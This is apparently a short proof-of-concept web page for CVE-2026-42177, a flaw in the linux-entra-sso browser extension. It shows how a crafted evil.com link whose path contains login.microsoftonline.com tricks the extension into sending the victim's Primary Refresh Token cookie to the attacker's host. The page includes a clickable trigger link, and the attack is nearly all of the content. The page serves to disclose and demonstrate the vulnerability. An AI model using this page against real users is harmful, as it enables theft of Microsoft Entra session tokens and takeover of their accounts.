CVE-2026-42177 linux-entra-sso PRT信息泄露漏洞

<!-- PoC Concept: Attacker sets up a page to trigger the leak --> <!-- This is a simulation of the attack vector --> <script> // The attacker crafts a URL where the path contains the target string const maliciousUrl = "https://evil.com/redirect_to/https://login.microsoftonline.com/"; // When the victim navigates to this URL (e.g., via a link), // the vulnerable extension detects the substring match. // The extension then appends the PRT cookie to the request sent to evil.com. console.log("Simulating navigation to: " + maliciousUrl); // In a real scenario, window.location.href = maliciousUrl; </script> <!-- HTML Body --> <h1>CVE-2026-42177 PoC Simulation</h1> <p>Click <a href="https://evil.com/xyz/https://login.microsoftonline.com/">here</a> to trigger PRT leak if vulnerable extension is installed.</p>